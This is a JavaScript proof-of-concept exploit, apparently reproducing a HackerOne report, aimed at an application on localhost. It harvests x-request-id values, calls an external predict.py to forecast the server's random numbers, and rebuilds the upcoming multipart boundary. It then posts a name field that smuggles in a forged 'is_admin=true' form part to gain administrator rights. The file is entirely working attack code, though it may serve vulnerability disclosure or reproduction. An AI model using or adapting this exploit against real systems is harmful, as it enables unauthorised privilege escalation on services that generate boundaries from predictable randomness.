// Based on https://hackerone.com/reports/2913312 import http from "http"; import childProcess from "child_process"; const TARGET_LEAK = "http://localhost:9500/example"; const TARGET_PAYMENT = "http://localhost:9500/invite_user"; let vals = []; const boundaryIntro = "----------------------------"; function predict(vals) { let out = childProcess .execSync(`python3 predict.py '${JSON.stringify(vals)}'`) .toString() .trim(); console.log("PREDICT:", out); return out; } async function main() { // // observe random values from the application // vals = []; for (let i = 0; i < 10; i++) { const res = await fetch(TARGET_LEAK, { keepalive: false, }); if (res.status !== 200) { throw new Error("Failed to fetch: " + res.status); } const requestId = res.headers.get("x-request-id"); if (!requestId) { throw new Error("No x-request-id"); } await res.text(); vals.push(requestId); } // predict the next 24 values for (let i = 0; i < 24; i++) { const prediction = predict(vals.slice(-10)); vals.push(prediction); } // construct the payload const boundary = vals .slice(-24) .map((v) => Math.floor(v / 1e10).toString(16)); let payload = `zzz\r\n${boundaryIntro}${boundary.join( "" )}\r\nContent-Disposition: form-data; name="is_admin"\r\n\r\ntrue`; console.log("PAYLOAD:", payload); // send the payload; catching ECONNRESET for (let i = 0; i < 3; i++) { try { const r = await fetch(TARGET_PAYMENT, { method: `POST`, headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: `name=${encodeURIComponent(payload)}`, keepalive: false, }); console.log(r.status); console.log(await r.text()); break; } catch (e) { if (i === 2) { throw e; } console.log("Retrying..."); } } } main().catch(console.error);